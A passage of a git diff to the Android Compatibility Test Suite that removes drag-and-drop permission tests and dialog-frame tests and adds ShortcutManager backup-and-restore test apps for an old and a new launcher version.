- private void assertNoGlobalDragEvents(String sourceMode, String expectedStartDragResult)
- throws Exception {
- assertDragAndDropResults(
- sourceMode, REQUEST_NONE, expectedStartDragResult, RESULT_MISSING, RESULT_MISSING);
- }
-
- private void assertDragAndDropResults(String sourceMode, String targetMode,
- String expectedStartDragResult, String expectedDropResult,
- String expectedListenerResults) throws Exception {
- if (!supportsDragAndDrop()) {
- return;
- }
-
- if (supportsSplitScreenMultiWindow()) {
- launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
- launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
- } else if (supportsFreeformMultiWindow()) {
- // Fallback to try to launch two freeform windows side by side.
- Point displaySize = getDisplaySize();
- launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
- displaySize, true /* leftSide */);
- launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
- displaySize, false /* leftSide */);
- } else {
- return;
- }
-
- clearLogs();
-
- injectInput(
- getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME)),
- getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME)),
- SWIPE_DURATION_MS);
-
- mSourceResults = getLogResults(SOURCE_LOG_TAG, RESULT_KEY_START_DRAG);
- assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
-
- mTargetResults = getLogResults(TARGET_LOG_TAG, RESULT_KEY_DRAG_ENDED);
- assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
- if (!RESULT_MISSING.equals(expectedDropResult)) {
- assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
- assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
- }
- assertListenerResults(expectedListenerResults);
- }
-
- private void assertListenerResults(String expectedResult) throws Exception {
- assertTargetResult(RESULT_KEY_DRAG_STARTED, expectedResult);
- assertTargetResult(RESULT_KEY_DRAG_ENDED, expectedResult);
- assertTargetResult(RESULT_KEY_EXTRAS, expectedResult);
-
- assertTargetResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
- assertTargetResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING);
- assertTargetResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_MISSING);
- }
-
- private void assertSourceResult(String resultKey, String expectedResult) throws Exception {
- assertResult(mSourceResults, resultKey, expectedResult);
- }
-
- private void assertTargetResult(String resultKey, String expectedResult) throws Exception {
- assertResult(mTargetResults, resultKey, expectedResult);
- }
-
- private void assertResult(Map<String, String> results, String resultKey, String expectedResult)
- throws Exception {
- if (!supportsDragAndDrop()) {
- return;
- }
-
- if (RESULT_MISSING.equals(expectedResult)) {
- if (results.containsKey(resultKey)) {
- fail("Unexpected " + resultKey + "=" + results.get(resultKey));
- }
- } else {
- assertTrue("Missing " + resultKey, results.containsKey(resultKey));
- assertEquals(resultKey + " result mismatch,", expectedResult,
- results.get(resultKey));
- }
- }
-
- private boolean supportsDragAndDrop() throws Exception {
- String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
- if ("true".equals(supportsMultiwindow)) {
- return true;
- } else if ("false".equals(supportsMultiwindow)) {
- return false;
- } else {
- throw new Exception(
- "device does not support \"am supports-multiwindow\" shell command.");
- }
- }
-
- private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
- return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
- }
-
- private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
- return mDevice.hasFeature("feature:android.software.freeform_window_management");
- }
-
- public void testCancelSoon() throws Exception {
- assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
- }
-
- public void testDisallowGlobal() throws Exception {
- assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
- }
-
- public void testDisallowGlobalBelowSdk24() throws Exception {
- mTargetPackageName = TARGET_23_PACKAGE_NAME;
- assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
- }
-
- public void testFileUriLocal() throws Exception {
- assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
- }
-
- public void testFileUriGlobal() throws Exception {
- assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
- }
-
- public void testGrantNoneRequestNone() throws Exception {
- assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
- }
-
- public void testGrantNoneRequestRead() throws Exception {
- assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
- }
-
- public void testGrantNoneRequestWrite() throws Exception {
- assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
- }
-
- public void testGrantReadRequestNone() throws Exception {
- assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
- }
-
- public void testGrantReadRequestRead() throws Exception {
- assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
- }
-
- public void testGrantReadRequestWrite() throws Exception {
- assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
- }
-
- public void testGrantReadNoPrefixRequestReadNested() throws Exception {
- assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
- }
-
- public void testGrantReadPrefixRequestReadNested() throws Exception {
- assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
- }
-
- public void testGrantPersistableRequestTakePersistable() throws Exception {
- assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
- }
-
- public void testGrantReadRequestTakePersistable() throws Exception {
- assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
- }
-
- public void testGrantWriteRequestNone() throws Exception {
- assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
- }
-
- public void testGrantWriteRequestRead() throws Exception {
- assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
- }
-
- public void testGrantWriteRequestWrite() throws Exception {
- assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
deleted file mode 100644
index c99f001..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ /dev/null
@@ -1,215 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.util.List;
-import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import android.server.cts.WindowManagerState.WindowState;
-
-public class DialogFrameTests extends ParentChildTestBase {
- private List<WindowState> mWindowList = new ArrayList();
-
- @Override
- String intentKey() {
- return "android.server.FrameTestApp.DialogTestCase";
- }
-
- @Override
- String activityName() {
- return "DialogTestActivity";
- }
-
- WindowState getSingleWindow(String windowName) {
- try {
- mAmWmState.getWmState().getMatchingVisibleWindowState(
- getBaseWindowName() + windowName, mWindowList);
- return mWindowList.get(0);
- } catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + windowName);
- return null;
- }
- }
-
- void doSingleTest(ParentChildTest t) throws Exception {
- final String[] waitForVisible = new String[] { "TestDialog" };
-
- mAmWmState.computeState(mDevice, waitForVisible);
- WindowState dialog = getSingleWindow("TestDialog");
- WindowState parent = getSingleWindow("DialogTestActivity");
-
- t.doTest(parent, dialog);
- }
-
- // With Width and Height as MATCH_PARENT we should fill
- // the same content frame as the main activity window
- public void testMatchParentDialog() throws Exception {
- doParentChildTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getContentFrame(), dialog.getFrame());
- });
- }
-
- // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
- // we will not be constrained to the insets and so we will be the same size
- // as the main window main frame.
- public void testMatchParentDialogLayoutInOverscan() throws Exception {
- doParentChildTest("MatchParentLayoutInOverscan",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getFrame(), dialog.getFrame());
- });
- }
-
- static final int explicitDimension = 200;
-
- // The default gravity for dialogs should center them.
- public void testExplicitSizeDefaultGravity() throws Exception {
- doParentChildTest("ExplicitSize",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x + (contentFrame.width - explicitDimension)/2,
- contentFrame.y + (contentFrame.height - explicitDimension)/2,
- explicitDimension, explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testExplicitSizeTopLeftGravity() throws Exception {
- doParentChildTest("ExplicitSizeTopLeftGravity",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x,
- contentFrame.y,
- explicitDimension,
- explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testExplicitSizeBottomRightGravity() throws Exception {
- doParentChildTest("ExplicitSizeBottomRightGravity",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x + contentFrame.width - explicitDimension,
- contentFrame.y + contentFrame.height - explicitDimension,
- explicitDimension, explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- // TODO: Commented out for now because it doesn't work. We end up
- // insetting the decor on the bottom. I think this is a bug
- // probably in the default dialog flags:
- // b/30127373
- // public void testOversizedDimensions() throws Exception {
- // doParentChildTest("OversizedDimensions",
- // (WindowState parent, WindowState dialog) -> {
- // With the default flags oversize should result in clipping to
- // parent frame.
- // assertEquals(parent.getContentFrame(), dialog.getFrame());
- // });
- // }
-
- // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
- // static final int oversizedDimension = 5000;
- // With FLAG_LAYOUT_NO_LIMITS we should get the size we request, even if its much
- // larger than the screen.
- // public void testOversizedDimensionsNoLimits() throws Exception {
- // TODO(b/36890978): We only run this in fullscreen because of the
- // unclear status of NO_LIMITS for non-child surfaces in MW modes
- // doFullscreenTest("OversizedDimensionsNoLimits",
- // (WindowState parent, WindowState dialog) -> {
- // Rectangle contentFrame = parent.getContentFrame();
- // Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
- // oversizedDimension, oversizedDimension);
- // assertEquals(expectedFrame, dialog.getFrame());
- // });
- // }
-
- // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
- // able to fit all of our content, so we should be adjusted to just fit the
- // content frame.
- public void testExplicitPositionMatchParent() throws Exception {
- doParentChildTest("ExplicitPositionMatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getContentFrame(),
- dialog.getFrame());
- });
- }
-
- // Unless we pass NO_LIMITS in which case our requested position should
- // be honored.
- public void testExplicitPositionMatchParentNoLimits() throws Exception {
- final int explicitPosition = 100;
- doParentChildTest("ExplicitPositionMatchParentNoLimits",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(contentFrame.x + explicitPosition,
- contentFrame.y + explicitPosition,
- contentFrame.width,
- contentFrame.height);
- });
- }
-
- // We run the two focus tests fullscreen only because switching to the
- // docked stack will strip away focus from the task anyway.
- public void testDialogReceivesFocus() throws Exception {
- doFullscreenTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
- });
- }
-
- public void testNoFocusDialog() throws Exception {
- doFullscreenTest("NoFocus",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
- });
- }
-
- public void testMarginsArePercentagesOfContentFrame() throws Exception {
- float horizontalMargin = .25f;
- float verticalMargin = .35f;
- doParentChildTest("WithMargins",
- (WindowState parent, WindowState dialog) -> {
- Rectangle frame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- (int)(horizontalMargin*frame.width + frame.x),
- (int)(verticalMargin*frame.height + frame.y),
- explicitDimension,
- explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testDialogPlacedAboveParent() throws Exception {
- doParentChildTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- // Not only should the dialog be higher, but it should be
- // leave multiple layers of space inbetween for DimLayers,
- // etc...
- assertTrue(dialog.getLayer() - parent.getLayer() >= 5);
- });
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
deleted file mode 100644
index c8ca9f4..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerTestBase;
-
-public abstract class ParentChildTestBase extends ActivityManagerTestBase {
- private static final String COMPONENT_NAME = "android.server.FrameTestApp";
-
- interface ParentChildTest {
- void doTest(WindowState parent, WindowState child);
- }
-
- public void startTestCase(String testCase) throws Exception {
- setComponentName(COMPONENT_NAME);
- String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
- CLog.logAndDisplay(LogLevel.INFO, cmd);
- executeShellCommand(cmd);
- }
-
- public void startTestCaseDocked(String testCase) throws Exception {
- setComponentName(COMPONENT_NAME);
- String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
- CLog.logAndDisplay(LogLevel.INFO, cmd);
- executeShellCommand(cmd);
- moveActivityToDockStack(activityName());
- }
-
- abstract String intentKey();
- abstract String activityName();
-
- abstract void doSingleTest(ParentChildTest t) throws Exception;
-
- void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
- CLog.logAndDisplay(LogLevel.INFO, "Running test fullscreen");
- startTestCase(testCase);
- doSingleTest(t);
- stopTestCase();
- }
-
- void doDockedTest(String testCase, ParentChildTest t) throws Exception {
- CLog.logAndDisplay(LogLevel.INFO, "Running test docked");
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
- startTestCaseDocked(testCase);
- doSingleTest(t);
- stopTestCase();
- }
-
- void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
- doFullscreenTest(testCase, t);
- doDockedTest(testCase, t);
- }
-}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
index b82bb1d..e76cf28 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import android.content.pm.ShortcutInfo;
import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -57,9 +58,22 @@
.selectByIds("ms1")
.areAllNotPinned();
+ // Package3 doesn't support backup&restore.
+ // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+ // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+ // shortcuts that are not visible to the publisher.
assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
- .haveIds("ms1", "ms2")
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
.areAllEnabled()
- .areAllNotPinned(); // P3 doesn't get backed up, so no longer pinned.
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+ ;
}
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
index 75c79c5..115c476 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import android.content.pm.ShortcutInfo;
import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -51,8 +52,22 @@
.selectByIds("ms2")
.areAllNotPinned();
+ // Package3 doesn't support backup&restore.
+ // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+ // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+ // shortcuts that are not visible to the publisher.
assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
- .haveIds("ms1", "ms2")
- .areAllEnabled();
+ .haveIds("ms1", "ms2", "s2", "s3")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+ .revertToOriginalList()
+ .selectByIds("s2", "s3")
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+ ;
}
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
new file mode 100644
index 0000000..856ff1f
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4new
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../launcher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
new file mode 100644
index 0000000..4d21e50
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.launcher4"
+ android:versionCode="11">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.HOME" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
new file mode 100644
index 0000000..0147dd6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4old
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
new file mode 100644
index 0000000..cded495
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.launcher4"
+ android:versionCode="10">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.HOME" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
new file mode 100644
index 0000000..33215d6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import android.app.Activity;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+public class MainActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Just accept all requests.
+ if (LauncherApps.ACTION_CONFIRM_PIN_SHORTCUT.equals(getIntent().getAction())) {
+ LauncherApps.PinItemRequest request = getSystemService(LauncherApps.class)
+ .getPinItemRequest(getIntent());
+ final PersistableBundle extras = request.getShortcutInfo().getExtras();
+ if (extras != null && extras.getBoolean("acceptit")) {
+ request.accept();
+ }
+ }
+ finish();
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..f9ecfef
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ setAsDefaultLauncher(MainActivity.class);
+ }
+
+ public void testRestoredOnOldVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllDisabled()
